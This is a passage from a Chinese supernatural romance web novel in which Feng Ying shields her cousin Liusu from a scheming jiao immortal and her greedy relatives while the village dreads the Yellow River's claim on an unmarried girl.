江墨川来了,就证明事情绝不会善罢甘休,我必须得打起十二分精神应对他。 毕竟江墨川虽然是蛟仙,可平日里却是能把仙家群体中智力担当的狐仙胡玉衡给甩得团团转。 忽悠我,更是有嘴就行。 我警惕地盯着他,江墨川听大伯大娘告完状,也从容冷静地扭头看我。 与我四目相对,谦谦有礼地启唇,语气中隐隐透着丝丝威胁意味: “哦,是么?小妹真没见到风流苏?” 一声小妹喊得我脊背发凉,浑身起鸡皮疙瘩。 我握着菜刀,把左手的鱼血蹭在衣服上,保持冷静地回答:“真没见到。” “可我半个小时前,亲眼见到风流苏往你家跑了。” 他面色疏冷,施了掩灵术的漆眸寒光凛凛,话里有话地提醒我: “小妹,听话,把风流苏交出来,爸妈有很重要的事找她,这是爸妈的家事,你就不要跟着掺和了。 是你自己主动把人交出来,还是我们进去搜,我们如果真在你家搜出来了,小妹,到时候你脸上可不好看。” 我被他这一口一个小妹给恶心的胃里猛搅。 盯着他的眼睛,一字一句不卑不亢道: “我再说一遍,流苏不在我家里。 流苏和我不熟,我们还没有热络到能留她在家里吃晚饭的地步! 半个小时前你看见她往我家跑了,半个小时前你怎么没有来抓人? 现在闯进我家说这么一堆废话,大伯大娘,你如果想霸占我家的财产,大可打开天窗说亮话。 犯不着带着你这个来历不明的新女婿打着抓人的幌子来我这抄家偷东西!” 大娘本就是个沉不住气的性子,听我这么冤枉她立马就急了: “哎你不要信口开河啊,我们什么时候想霸占你家财产,想偷你家东西了? 你这家徒四壁的还有什么财产值得我们惦记!” “那可不一定。” 我故意越描越黑: “以前我爸妈都不在,家里的确家徒四壁,可现在我妈回来了,还从外面带回来不少好宝贝呢,都在家里收着。 说不准大伯大娘你们就是猜到了,才故意想方设法要进我家搜查! 好趁机偷我家东西霸占我家的宝贝,我告诉你们,今天我家里要是丢一样东西,我就报警,让你们赔!” 大伯心虚地拽了拽大娘袖子,有了退缩的念头,不耐烦地招呼江墨川: “那个,小江,她家里没有风流苏,我们刚才看过了,走吧! 风萦这死丫头难缠得很,别偷鸡不成蚀把米,人没找到反被她给闹到局子里去了,村里邻居们看见了笑话!” 大娘倒吸一口气冷气,有模有样地和江墨川描述: “小江啊,这死丫头家里邪乎着呢!她家堂屋,供了仙家! 刚才我们一进来啊,就感觉迎面凉飕飕的,透心寒!我和你爸一进门,这两扇院门就砰地一声,自己关上了! 这死丫头还在那神神叨叨的说什么,人血啊,好吃啊,不能吃啊…… 她家仙家原来都是用血供养的!她家仙家吃人! 咱们还是赶紧走吧,这地方晦气!” “仙家吃人?” 江墨川抬眼用着戏谑的目光看我,嗤之以鼻,拍拍大娘搭在自己胳膊上的那只手,凝视我道: “妈,你别怕,她吓唬你的,仙家不吃人。仙家有仙家的规矩,胡乱伤人,可是要受天雷劈身的。” 安抚完大娘,江墨川冷下眸色,语气冰冷地再次威胁我:“小妹,是你自己把人交出来,还是我动手?” “我没、” 否认的话刚说出去两个字,喉头就被一团棉花堵了住,下一秒,我的身体也动不了了! 该死的江墨川,他又对我用妖术! 我说不出话且动不了身,只能咬住下唇,愤怒地瞪大眼睛用眼神向他表达不满。 他冷哼一声,刻意放慢脚步,从我身前走过:“既然小妹不愿意出卖同伴,那就只能我这个当姐夫的自己来了。” 眼见他的身影一步一步靠近堂屋,片刻就迈到堂屋门槛外了—— 我心惊肉跳地紧张抿唇,在心底着急呼唤狐仙。 “胡玉衡!胡玉衡,帮我!” “胡玉衡——” 我与这些仙家们之间都是有心灵感应的,而我之所以向狐仙求助,是因为狐仙是他们九个里,每次见我,脸没那么臭的一个。 可,仙家们原本就喜欢抱团,我喊胡玉衡帮我对付江墨川,胡玉衡肯定会犹豫。 江墨川左脚踏进了堂屋门槛,我的心也顿时提到了嗓门眼。 攥紧双手,十指指甲嵌进掌心。 “胡玉衡、胡玉衡!” 我深呼吸,走投无路之下只能心一横胡乱喊起了别的仙家:“龙仙大人救命——” 也不知道龙仙大人有没有听见,只是下一瞬,堂屋里突然凭空出现了一道金光结界。 冷不防就将刚走进去的江墨川给弹挡了出来! 紧接着,屋里哐当一声。 像是哪位仙家的牌位又掉地上了…… 被挡得连连后退险些还叫门槛绊个四脚朝天的江墨川踉跄稳住身形,狼狈且脸面全失的愤怒昂头,嘴里低声怒骂一句:“死狐狸!” 还得是胡玉衡靠谱啊! 不等江墨川再施法硬闯,站在院门口的大伯突然一拍大腿惊叫道:“哎呦!咱家厨房怎么着火了!” 喊完就火烧屁股的拔腿往自己家飞奔而去。 “厨房!” 大娘不敢耽搁地紧追其上,跟大伯一道跑了,边跑边骂: “哪个短命的灾星把我家厨房点了!啊?!快快快,别等火烧起来把咱家堂屋给引了!” 江墨川见大伯大娘先走了一步,望着两人越跑越远的背影,欲言又止。 观众都走了,江墨川自然也没有扮演二十四孝好女婿的心情了,没再继续往堂屋闯,而是端着高高在上的姿态转身走向我。 抬手,想摸我的脸,被掩灵术刻意藏下异瞳特征的一双黑眸深邃得像两个大黑洞。 “萦儿,你不乖。” 我厌恶地扭头避开他脏手,眯了眯眼反呛道:“好好说话!” 他没摸到我的脸,略有几分不悦,手停在空中,半晌才收回: “你能藏得住她一时,藏不了她一世。 她不是必须得在今晚嫁给张家的疯儿子,她的余生,我们有的是时间,慢慢等她。 她总不可能一辈子都不出现在槐荫村。” 我恼得牙痒痒:“她和你无冤无仇,你为什么要这么逼她!” 江墨川冷笑笑,弯腰凑近我几分,挑眉阴恻恻地轻道: “欠债还钱,天经地义,本尊不可能让柔儿来还这笔债,就只能,由她来还了。何况,柔儿不喜欢她。” “风柔家欠的债让她还,风柔不喜欢她,你就帮着风柔欺负她,江墨川,我以前怎么没发现你这么爱风柔呢?” 我毫无惧色地质问他:“那我呢?风柔羡慕我,你是不是也想杀了我?” 答案,我早就亲耳听见了。 他会。 他会为了风柔杀了我! 他一怔,怪异地软下目光,沉默半分钟,捞住我的手: “风萦,闹够了吗?需要本尊和你说多少遍,本尊会娶你,你才安心? 风萦,柔儿性子好,大度善良,她都不在乎被你分走我的爱,你总嫉妒她做什么? 风萦,你什么时候才能学会大度、懂事。 好了,看在你这两天听话没有找柔儿麻烦的份上,本尊就放纵你一次。 成婚的日子,你挑,本尊这次绝不失约。” 我面不改色地直视他,把手从他掌心里抽出来:“江墨川,你长得挺丑,想得挺美。” 没有那双红蓝异瞳诱惑我,他这张脸,简直不堪入目! 他秒变臭脸,“风萦,你不要不识好歹!本尊都已经退步了,你还想怎样?什么时候能改改你这贪得无厌的臭毛病!” 我气极反笑,攥紧十指耐着性子再次和他说清楚: “你今天出门没带脑子?忘记我昨天和你说过,我已经嫁给别的仙家了,不需要你了?” 岂料他听罢竟自以为是地哂笑道: “好了,别骗本尊了,本尊都查清楚了,二月二当晚黄河里是冲上来一副玉棺,但棺里只有宝石玉器,没有什么仙家。 那根本不是副葬人的玉棺,那是古代皇家用来封藏陪葬品的陪葬棺! 昨天晚上,村里人就把玉棺推回黄河了。 本尊亲自去查验过,那棺中,一丝活着生灵的气息都没有。 而你身上的痕迹,肯定是你自己弄上的,为的就是想让本尊后悔。 你在试探,本尊在不在意你。 风萦,欲擒故纵的把戏偶尔玩一次就够了,玩太久,可是会玩脱的。” 我瞧着他这副胸有成竹的神情,嫌弃道: “有病就去治!你爱信不信,不管你信不信,都改变不了我已经找到别人借寿的事实! 江墨川,你最好少和我拉拉扯扯,不然我喊我新老公揍死你!” 第一卷 第16章 黑龙纹身没有了! “你以为谁都像本尊这样,包容心这么强?” 他有点说急眼了,一把抓住我的手腕就要拽我走: “风萦,本尊的耐心是有限的,你命这么硬名声这么差,除了本尊,没人会娶你! 再在本尊面前提什么新老公,本尊绝不饶你!跟本尊走!去柔儿家,和柔儿立个保证!” “保证?”我用力甩他手,愕然反问:“什么保证?!” 他说得理直气壮: “自然是以后要万事以她感受为先,不欺负她,不使手段害她,不和她争风吃醋的保证! 柔儿性子弱,有些事必须得本尊来为她开口,为她撑腰! 让你立这个保证也是为你好,反正以后都是一家人,你这个做妹妹的,就该照拂姐姐。 以姐姐为尊,这样我们三个,才能把日子过好!” “你有病就去治!”我怒吼。 江墨川眉心拧成一团没好气的放低声劝道: “萦儿,我知道二月二当天,我错过了与你的婚期,让你受委屈了。 但柔儿比你脆弱,她真会死。你这个做妹妹就不能大度点吗? 萦儿,别闹了,柔儿比你先嫁给我,你知道在古代你这叫什么吗? 古代后进门的,叫妾! 现代已经没有什么妻妾之分了,我只是让你立个保证而已,以后你们俩平起平坐……” 神他娘的平起平坐。 破除封建迷信的时候怎么没把他给破了! 别的仙家早就思想解放了,只有他被裹的小脑还发育不良越来越畸形。 还妻妾之分…… “我妾你大爷!” 我卯足力气甩开他的脏爪子, “我再说一遍,我嫁给别的仙家了,你不是不信吗,我有证据!那位仙家在我手臂上留了个黑龙纹身,纹身在,我就只能是他的人!” 我气恼地说完,一把撸起右臂的袖子。 胳膊送到他眼前的那一刻,他怔了怔。 两秒后,他蹙眉:“你想让本尊看什么?” 当然是看纹身啊! 只是在我开口的前半秒,我才蓦地发现…… 胳膊上的黑龙印记……没有了! 不对啊,明明白天还在! 我不可思议地收回胳膊,不死心的又揉揉皮肤检查一遍…… 不该啊。 那纹身,明明早上我洗都洗不掉,这会子怎么没有了。 他见状,更加笃定我是在耍手段引起他的注意,目露鄙夷地冷嗤道:“风萦,你除了会一而再,再而三的撒谎,还会干什么?” 就在他伸手又一次准备强拽我去给风柔立保证时,院门外忽远远传来村长江叔的声音: “小萦,在家吗?” 院门没关,我当即激动拔高声回了句:“江叔我在,风柔男人也在!” 渣男,你想绑架我,我就让你成为第一嫌疑人! 你想在槐荫村光明正大地陪着风柔,就得遵纪守法! 他显然被我这个举动给整破防了,扭头看了眼院门外,想用法术强行掳走我,又怕招惹来麻烦。 最后只能愤愤甩开我的手,拂袖憋着火沉声吓唬我: “风萦,黄河底下闹事的那个怪物连我都不是她的对手,就算你把风流苏藏起来,明天她也逃不过一死!” 说完,磨着后槽牙凶神恶煞地剜我一眼,拂袖化作一团黑雾散了去。 见江墨川终于肯滚了,我这才如释重负猛松口气。 村长很快就大步迈进了院子,看院内没有别人在,放心舒展了眉头。 “没事吧?”村长心善地问我。 我摇头,“没事。” 猛地反应过来,我意外地试探:“江叔,你刚才是故意在帮我?” 江叔拍拍身上的粗布蓝褂子,阴沉着脸色点头: “嗯,我过来的时候听老马说,你们风家的丫头跑了,大年两口子正在到处找人。 起初我以为是大年两口子又和你杠上了,你闹脾气跑了,后来老马才和我讲明白,原来跑了的风家丫头不是你是流苏。 风大年要把流苏嫁给张家疯儿子的事我都知道了,我一猜就晓得流苏那孩子没地可躲肯定跑你这来了。 本来我想到你这看看是啥情况的,谁知道正好撞见风大年两口子从你家吱哇喊叫地跑出去。 我大老远就看见风大年的新女婿站在院子里拽着你胳膊和你拉拉扯扯,瞧他疾言厉色的,那样子像是恨不得把你生吞了。 我怕你这孩子老实,在他一个年轻大小伙子手里吃亏,就喊了你一声想把他吓走。” “原来是这样啊。”我恍然大悟,“江叔你也认识江墨川、就是风大年这个新女婿?” 江叔双手背后嗯了声:“江墨川和风柔办喜事前一天来找我报备过,我见过江墨川一面。” 我抿了抿唇,接着问:“那你知道他的底细吗?他应该不是我们村的人。” 江叔回想了下: “的确不是我们村的,说是外地人。 王瘸子他徒弟,据说早些年跟着王瘸子来槐荫村办过事,和你堂姐风柔有过来往,一来二去两人就互生了情愫。 头些年两年轻人分隔两地,一直在网上聊天,最近这不是黄河闹收玉女的事嘛,小年轻一听说风柔有危险,就连夜买了火车票赶过来。 现在和风柔结婚了,我看啊,他以后八成会留在槐荫村不走了。 这两天村里忙着结婚的人家多,但是我看别人都是假结婚躲灾,他俩像是真结婚。 说不定等黄河收玉女的事过去了,这小两口就要去登记领证了。” 王瘸子就是我们村的风水先生,也是他为大家出的主意,催着大家在最近两天赶紧把女儿嫁出去骗黄河龙王。 但是,江墨川什么时候成王瘸子徒弟了! 王瘸子愿意给江墨川证明身份,大概率已经知道江墨川是什么来头了。 然而细想想,我又觉得一切都很符合逻辑。 毕竟王瘸子的闺女王白雾和风柔是从小一起长大,感情好到能睡一个被窝的亲闺蜜。 风柔这边有需要,王白雾肯定会撺掇着自己老爹帮忙。 再说,王瘸子和杨道长昔年还是同门师兄弟。 只是王瘸子做了坏事违背了门规,被师门给驱逐除名了,这才回到老家槐荫村屈才当个风水先生。 杨道长没有来槐荫村那些年,村里各家各户风水上的事都由王瘸子说的算,可谓要风得风要雨得雨,地位待遇仅次于当年处理灵异事件最权威的神姑。 但杨道长来槐荫村后,由于王瘸子实在是本事有限,杨道长办事又最是稳准狠快,这便导致村里人渐渐更信任杨道长。 王瘸子在村民心中的地位就一落千丈,从一开始家家户户逢上什么难事,必须得带上好吃好喝的好言好语求他,给他送钱还要看他脸色,沦落到现在只能给别人看看风水。 村里有啥鬼神乱力的事,村民们第一反应就是去找杨道长,大家都打心底默认杨道长才是专业的,彻底把他这个也会道门玄术给人看事的先生遗忘了。 也是因为这个事,本就对杨道长羡慕嫉妒恨的王瘸子更恨杨道长了。 两年前两人还因村南头老李家迁坟的事在各自家里悄悄设坛斗了七天法。 王瘸子也曾是道门中人,杨道长说过,王瘸子没有被逐出师门前是同辈中最出色的弟子。 所以王瘸子不可能察觉不到江墨川不是人…… 王瘸子和江墨川都是无利不起早的那类人,极有可能两人现在已经达成了某种协议……狼狈为奸了! “对了小萦,他们说江墨川和风柔谈了三四年恋爱的事你也知道。”江叔谨慎地找我确认。 我一愣,瞬间脑子里冒出一万句不重样的脏话! 白眼狼江墨川可真是好样的,撒谎还要用这种方式逼我帮忙圆,拉我下水。 不过是捏准了我会为嫁给他续命而一次又一次的卑微配合罢了。 “他不是……” 真相差点脱口而出,我猛地又想到现在要是告诉了村长事实,和他说明我和江墨川之间的恩怨,肯定会把无辜的村长也牵扯进这堆破事里来…… 村长只是个普通人,就算知道江墨川是蛟仙又能怎样,反而时时刻刻都会有露馅的风险。 江墨川现在想学习风柔做个人,好光明正大的陪着风柔,所以才会对江叔这个村长有所忌惮。 一旦让江墨川晓得江叔知道他的秘密了,以他那锱铢必较、狠毒无情的性子肯定会破罐子破摔,直接对江叔动手。 有些事,还是不说出来为好,免得给江叔添麻烦。 我突然噎住,江叔疑惑追问:“他不是什么?” 我深呼一口气,厌恶道:“他不是好人!” 江叔听完沉默了片刻,斟酌说:“我瞧着也像,他的眼神太精明了,你大伯全家都未必是他的对手。” 真不愧是见多识广阅人无数的老村长,只一眼就看清了江墨川的本质。 “刚才我没看见江墨川从前门出去,一晃眼他人影就没了。”江叔瞧了眼我家院子半敞的后门。 我顺势敷衍:“啊他怕被你撞见说不清,从后门跑了。” 江叔放心地点点头: “你又一个人住,以后还是要小心,后门能锁就锁,前门也别常开着! 流苏过来陪你住也好,你一个小姑娘,现在又多了个堂姐夫,要是发生什么事,恐怕有嘴都说不清。” 江叔的暗示我明白,他是怕江墨川在我家和我拉拉扯扯被别人看去误会,到处乱传。 再怎么说,我如今在外人眼中也是个没出嫁的小姑娘。 堂姐夫的身份本来就敏感,知道的清楚是风柔男人欺负我,不知道的还以为我勾引姐夫…… 我郑重应下:“好。” 等会儿就把妈给我的黄符贴门头,让那白眼狼进不来! “江叔,流苏在我这。”我和村长说了实话。 村长颔首,像是没明白我的意思,自顾自的嘱咐: “你们姐妹俩晚上睡觉千万记得关好院门,还有这两天尽量不要让流苏再在外面现身! 她是个命苦的孩子,以后交给你照顾,我放心。” 我哽住,不知所措道: “以后、交给我照顾?可我们不熟啊! 我是想请江叔帮帮忙,给流苏安排个安全的地方。 我这里已经被江墨川盯住了,流苏再和我在一起不安全……” “你们俩不熟?” 江叔眉头一皱不解道: “你俩小时候不是亲得像亲姐妹一样吗?风柔冲你发火,流苏还会吼风柔,现在怎么生疏成这样了?” 我和流苏亲得像亲姐妹?怎么可能! 我们都没见过几次面…… 再说风流苏那胆小的性子,风柔一瞪眼她都能被吓得瘪嘴秒哭,怎么可能会为了别人吼风柔。 肯定是村长记错了。 我张了张嘴想解释,江叔却先我一步神情凝重道:“我这次过来还有件事要和你说。” 第一卷 第17章 有事就吩咐,别拽尾巴毛啊~ 严肃的语气令我不禁挺直脊背。 村长说: “黄河女尸的事是我们冤枉了你,这次你拦对了。 但是没办法,我们已经做错了选择,后悔也来不及了。 现在村里人为了躲过这一劫,盲婚乱嫁。 虽然老王说了这样可以骗过河底那些东西的眼睛,让他们打消从槐荫村选玉女的念头,但是我总觉得心里不踏实。 总觉得那东西盯上咱们村了,肯定不会轻易罢休。 那东西明天如果在咱们村收不走玉女,说不准会用别的手段疯狂报复咱们村。 杨道长和他徒弟现在还没回来,我不能再坐以待毙了,所以我打算离开村子去迎杨道长一程。 这样返程路上也能顺便和杨道长详细描述一下村里的情况,让杨道长早做准备。” “你要去找杨道长?”我不放心道:“那你知道杨道长回来会走哪条路吗?万一没遇上怎么办?” 村长谨慎说:“前两天杨道长在电话里提到他在哪个县办事,杨道长急着赶回来,肯定会走最近的那条路,我连夜抄近道去路上拦他肯定能拦住他!” 我想了想,赞同点头:“江叔,路上小心。” 村长沉稳地掸了掸袖上浮灰: “没事,我还没老掉牙呢!几十里路还是走得动的! 我就是来和你说一声,我不在村里,明天你就不要去黄河边凑热闹了。 记住,无论发生什么事,你和流苏姐妹俩保命要紧!其他的,什么都不用管!” 我听话答应。 从我记事起,村长江叔就对我家颇为照顾。 我幼时比别的孩子开智早,没满一岁就能记住事了。 一岁半,我就能蹦能跳,能口齿清晰地和爸妈聊天了。 是以,就算我爸走得早,在我的记忆里,也永远都储存着那抹憨厚高大,朴实温柔的身影。 小时候江叔总叫我爸风老弟,我家逢变故后村长做主,把我送去了大伯大娘家养。 可惜大伯大娘并没有养好我,我被大伯大娘扔回自己家时整个人都瘦成了皮包骨。 还因为失去龙鳞加上常年营养不良总是生病发烧,一年到头都是副病殃殃的模样。 把我送去大伯家抚养的决定是江叔做的,那会子江叔见我不人不鬼地活着,心里也极度自责内疚。 也许是为了弥补当年自己一念之差替我做出选择为我留下的伤害,这些年江叔一直都很关心纵容我。 就连我被蛟仙骗,害村里邻居总是吃亏,江叔也从未开口责备过我。 还每次都在事情发生后,自己出钱买猪肉代我上门给村里人道歉。 村长是真心实意关心我,这一点我无比清楚。 算了,现在村里情况危急我就不给江叔添麻烦了,先护着流苏把明天这一劫熬过去再说! 村长临走前我特意把妈给我的护身符拿了一张塞进他老人家手里,他老人家见到护身符的那一刻,呆愣了几秒。 后来把护身符揣口袋里,双手背后步伐稳重地向院外走了。 边走,还边惆怅感慨:“我怎么就没有这么一个细心懂事的闺女呢!” 看着村长走远的背影,我关上院门,赶紧去屋里找风流苏。 “流苏?风流苏……” 我喊了两声没人回应,进房间翻找了一通,猛地拉开衣柜的柜门。 才发现风流苏蜷在柜子里满脸是泪地睡着了。 这丫头,心可真大。 不过……她这两天肯定受了不少惊吓吧。 要不然也不会蜷在我家衣柜里睡得这么踏实。 我没吵醒她,只默默给她开了一扇柜门,免得闷着她。 轻手轻脚出了我睡觉的房间,重新回到堂屋,才发现这次掉下地的是胡玉衡的牌位…… 把牌位捡起来,还看见牌位背后有个灰印子。 像是,谁的脚印? 难不成是我刚才进来找风流苏太着急了,不小心踩上去的? 完了,胡玉衡帮了我,我却一进门就给他一脚。 他这会子肯定更看我不顺眼了! 赶忙用袖子给胡玉衡擦干净牌位上的灰印,再把它重新摆回去。 我不好意思地给胡玉衡道歉: “胡玉衡,那个,是我不好,我刚才没留意才踩着你……对不起对不起,你被生气,别记仇哈! 这次你帮了我,我很感激你,你的恩情,我风萦会铭记在心的! 这次算我欠你个人情,下次再用血酒供养你们,我多给你准备两滴血!” 见条案上的牌位没动静,我更加心虚地闷咳两声:“呃,胡玉衡你吃香蕉吗?我给你弄一串来!” 狐仙么,天性傲娇,得哄。 我扭头跑出堂屋,去厨房找前两天买的香蕉。 脚迈出堂屋门槛那一刻,我才听见胡玉衡的声音从身后中气不足磕磕巴巴地传来:“没、没事……我不疼!” 嘴上说着不疼,可他的语气……听着都快哭出来了! 完啦完啦,这次肯定不小心踩重了! 看来光用一串香蕉哄不好了…… 为了弥补我犯下的错,我直接把家里有的新鲜水果都给贡上去了。 贡完,还虔诚地给胡玉衡补了三炷香。 可不能把这唯一的中立派给惹急眼了,不然以后再和江墨川那个白狼眼正面交锋,我的身后将空无一人—— 给胡玉衡上完香,我不忘把龙仙大人的香火也奉上。 虽然今天已经给龙仙大人上过了,但现在胡玉衡这个下位仙家有了香火可食,龙仙大人身为上位仙家,为表尊敬我必须也得再给他添三炷,这是供仙家的规矩。 不过,好想趁机问问龙仙大人我手臂上黑龙纹身是怎么回事。 怎么说有就有说没就没。 但龙仙大人这会子在静心修炼…… 我怕我现在问他,他真送我下去见祖宗。 一系列供奉上香的流程做完,已经晚上七点半了。 我简单做了锅青菜鸡蛋面,面条出锅时风流苏也正好睡醒了,揉着一双哭肿的红彤彤大眼睛出堂屋找我。 我把热腾腾的面条放在她面前,筷子刚递给她,她就狼吞虎咽的挑面狂吃了起来…… 哪怕被滚烫的面条烫得龇牙咧嘴也不肯放慢吞咽食物的速度。 “你慢点吃,锅里还有很多,不着急。” 我陪她在四方桌子前坐下来,看她这副饥不择食的样子,像是饿了好几天。 拿过筷子,我正准备开动,小流苏却傻乎乎把自己碗里埋的两个荷包蛋翻出来夹给了我。 “二姐,你吃,我不要鸡蛋,我吃面条和蔬菜就够了!” 我无奈又把鸡蛋夹回了她碗里:“和表姐客气什么,你乖乖把鸡蛋吃掉,我特意给你卧的。” “可是……”她边吃边犹豫,我拿筷子翻了翻自己碗里的面条:“听话,你自己吃,我碗里也有。” 风流苏猛吞下口中的食物,呆呆看了我两秒,点头:“谢谢二姐!” 我吃了口青菜面,目光落在她已经见了底的饭碗上,没忍住问:“你今天没吃饭吗?怎么饿成这样。” 风流苏端起碗,扒光碗中的饭,自己捧着小碗去饭锅前加面。 加完乖软地坐回我身边,委屈说: “我家的米缸,去年就见底了。 年前我都是在邻居五婶家吃饭,可我不好意思总去别人家蹭饭,所以年后我就自己挖野菜,摘野果子…… 那些东西不抗饿的,我现在都快忘记面条是什么味了。 二姐,我好饿,但是我不白吃你家饭,我可以给你做家务收拾屋子。 你和二舅妈没有做完的农活也可以交给我!我插秧可快了!” 看着她这双湿漉漉的大眼睛,我不禁心头一软: “往年不是大伯给你家送米送粮食吗? 大伯之前可是向村长保证过,你家里的那几块农田给他们种庄稼,他们每年给你二百斤白米五十斤白面二百块钱。 你一个小姑娘一年能吃得完二百斤白米五十斤细面吗? 怎么可能那样快就没粮食了?” 风流苏憋屈低头,捧着饭碗没吃几口就大颗大颗眼泪掉了下来: “去年大舅舅说前年田里收成不好,夏季雨水太多把庄稼都给下死了,就不给我送米了,就送了三十斤面…… 后来,我去找大舅舅再要,大舅舅说他家也没有多余的粮食了,就把我撵回家了。 大舅舅还说今年要给我介绍个活干,让我跟着他认识的一位叔叔去县城按摩店做服务员,好自食其力,免得以后年年去他家要饭。” “太过分了,他怎么能这样呢! 当初二爷爷过世,是大伯自己去找三伯,说要包堂姑家的农田种玉米花生。 还向村长保证过,种你家田期间每年都给你送新米新面和二百块钱,不让你饿着,等你成年后他们再把田还给你家。 现在你都十九岁了,已经成年了,他既然继续占着你家的农田就应该保证你一日三餐不被饿着! 再说,当初村里人不就是怕你一个小姑娘无依无靠,没个亲戚做主倚仗,这才允许大伯占你家的田砍你家的树,连你家鱼塘里的鱼现在都成了大伯的所有物, 他都做到这个份上了,还克扣你的粮食,真是丧心病狂!” 我义愤填膺的骂道。 小流苏瘪了瘪嘴,泪眼盈盈拉过我的手,握在掌心,无奈说: “二姐,你别生气……我已经没什么可失去的了。 我都想好了,过几天我就进城找事做,自己赚钱,自食其力。 二姐……我不会在家里打扰你太久的。” “你一个十九岁刚成年的小姑娘去县城能做什么事?难道真要去按摩店当服务员?” 我把自己碗里的鸡蛋也夹给她: “你啊,安心住着吧!我家里一日三餐不缺你这一碗饭,一份口粮! 等收玉女的事过去,我们再做别的打算。” 小姑娘吸了吸鼻子,委屈巴巴吃着眼泪拌饭。 我想了想,突然又问:“对了,大伯承诺每年给你两百块钱,去年给了吗?” 小姑娘顿了下,眼眶更红了,心虚的怯怯回答我:“这钱,大舅舅一直没给过……” 我重重放下筷子,气不打一处来。 二百块钱都舍不得给,抠死他算了! “你啊,他不给你你不会要吗?” 我抬手就要敲她脑袋,她被我吓一哆嗦,害怕地往我身上一扑,抱住我胳膊没出息地哭起来: “我不敢嘛,呜二姐你就别凶我了,我害怕,大舅舅那么吓人,我怕他打我……” 抬起的手终归还是没忍心敲她脑门子上,最后只好轻飘飘落向她发顶。 算了,她一个孤苦伶仃无依无靠的女孩子,亲舅舅都甩手不管她,更遑论风大年这个唯利是图的堂舅舅了。 就算风大年耍赖不给她钱,不给她粮食,她一个孤儿也不能拿风大年这个不要脸的老男人怎么样。 她是生性怯懦,但哪怕是我这样不要命敢和风大年硬碰硬的人,以前不也在风大年手里吃过亏,差点命都折进去了么? 风流苏没有错,错的是那些贪得无厌,尝到点占别人便宜的甜头,就恨不得敲骨食髓的恶人! 晚上,我本来是把流苏安排到堂屋另一头的房间里休息的,只奈何小丫头胆小,刚躺下没半个小时就哭唧唧地搂着小被子跑来找我了。 彼时我睡意刚上头,困得脑子犯迷糊,胡乱搭了小丫头两句话,就被小丫头钻了被窝搂住了腰。 看在小丫头睡觉老实且还是来我家第一晚,不熟悉环境的份上,我没有撵走小丫头,拎起被子将小丫头裹好后就搂着小丫头继续睡了。 月黑风高,夜深人静,耳边还隐隐回荡着黄河水拍打岸滩的声音—— 半梦半醒中,我好像听见了胡玉衡压着嗓子在房门外的堂屋里委屈抱怨着什么。 “龙尊大人,日后你有令……大可直接吩咐,别拽小仙尾巴毛啊!” 第一卷 第18章 你想让本王睡供桌上?! “小仙本来就没打算帮那条死蛟,只是被龙尊抢先施了法…… 龙尊你出手震退了那条死蛟,还冷不防一脚踹在小仙屁股上,把小仙踹下了桌。 小仙都被你踹跪了,屁股现在还疼着呢! 您老以后再出脚前能不能提醒小仙一下,小仙的波棱盖扛不住龙尊大人这么摧残啊!” 片刻,有道低沉磁性的男人声音没好气道:“废话真多!” 堂屋一众牌位动静极轻地叮咣了两声。 不知过了多久,那道好听的男人声音忽然出现在了我的头顶…… “笨!本王未附在你臂上,你身上怎会再有黑龙刺青。” 床头那缕属于外来者的呼吸声沉沉,男人不满低喃: “本王还以为你的眼光有多高,风萦,那种货色你都能看中,难怪上辈子……” 他倏然止声,默了许久,才接着不耐烦控诉:“本王、不比他俊美千倍?” 回应他的,只有窗外忽然刮起的猎猎狂风。 他思忖了下,怀疑道:“黄河龙宫收玉女,本王怎么不知道这件事……” 迈步再走近我一些…… 一只手按在了我肩头的被子上—— 又猛地收回去。 男人语气不悦的嗓音稍稍拔高:“没良心的女人,她在这,本王睡哪?!” “你想让本王睡供桌上?!” 熟睡中的我确实听到床头有人说话了。 但潜意识告诉我…… 我是在发梦! 那人悄无声息地来,又气势汹汹地走。 临走还不忘砰的一声摔上我卧房的门。 惊得我和流苏同时从睡梦中惊醒过来。 流苏被吓得身上一哆嗦,我拍拍她的肩膀,“别怕。” 半撑起身子,揉揉眼睛,看见窗外疯狂摇摆的树枝影廓,松口气躺回去继续睡…… “起风了。” “二姐,我刚才好像听见屋里有男人说话……” “有男人说话?” 那估摸是堂屋的仙家们在聊天,这群仙家半夜睡不着就喜欢凑在一起唠嗑。 我抱住流苏香香软软的瘦小身子,闭着眼睛坦白道:“我家供的仙家能吐人语,不过你放心,他们不伤人。” 她要是害怕想走,明天我再和村长商量。 风流苏把头埋进我怀里,乖巧点点脑袋:“嗯。” 就这? 没了? “你如果害怕……” 我话还没说完,风流苏就搂紧我的腰闭眼乖巧继续睡:“我不怕!二姐说没事,就没事!只要能和二姐在一起,我什么都不怕!” 我哽住。 流苏似乎并没有风柔形容的那么讨厌…… 黄河边一年四季风都很大,要是逢上什么阴雨天,更是能将村里几十年的参天老树都连根拔起。 住在槐荫村的村民们都习惯了夜夜枕着风声入眠。 只是换做往常,这个强度的风还不足以影响人休息。 可明天就是二月初五,黄河收玉女的日子。 此时此刻的这股风,就显得诡异了许多。 让人听着心里发慌。 村里的少女们都被嫁出去差不多了,明天那女尸再上岸要人,肯定无法得偿所愿…… 就如村长担心的那样,村里没有未嫁人的少女,黄河收不到玉女,那些怪物就会轻易罢休吗? 要真是黄河龙宫收玉女,玉女就是伺候黄河龙王的宫女,那这条消息就等同于是黄河发的官方通告…… 黄河龙王收不走侍女,一怒之下发水吞了整个槐荫村都有可能。 也不知道杨大哥他们什么时候才能赶回来…… 被惊醒后,我这小半夜都没有睡得那么踏实了。 窗外的风总是忽强忽弱,风沙撞得屋门哐哐作响。 清晨六点,天蒙蒙亮。 我和流苏还没有起身,就听外面有村民敲锣打鼓地挨家挨户通知: “不好了——黄河起浪了!黄河又要吃人了!” 邻居们的尖叫呼喊声在周围嘈杂起来。 “好大的浪!” “是黄河来要人了!还有一个时辰黄河就要收玉女了,这是黄河在提醒咱们时辰将至,催促咱们赶紧把女孩们给它送去黄河岸边呢!” “我家闺女前天就已经嫁人了,不是童女身了,这事和我们家可没关系。” “和我家也没关系,我家闺女昨儿个也嫁人了!” “谁家闺女没找到主,赶紧把她送过去啊!你看那黄水都泼上岸了!” “呸,你个死婆娘老滑头,自家闺女嫁人安全了,就催着别人家送闺女去死,你怎么这样自私呢?你家闺女是心头肉,别人家的闺女就不是掌上宝了吗!” “谁让你家闺女不识好歹死活不嫁呢?怪只怪你家闺女太任性,你们没有教好你家闺女! 现在村里还没有嫁人的女娃子可就只剩这几个了! 黄河要的是未婚少女,你家闺女不肯结婚,那就只能下去伺候龙王爷了! 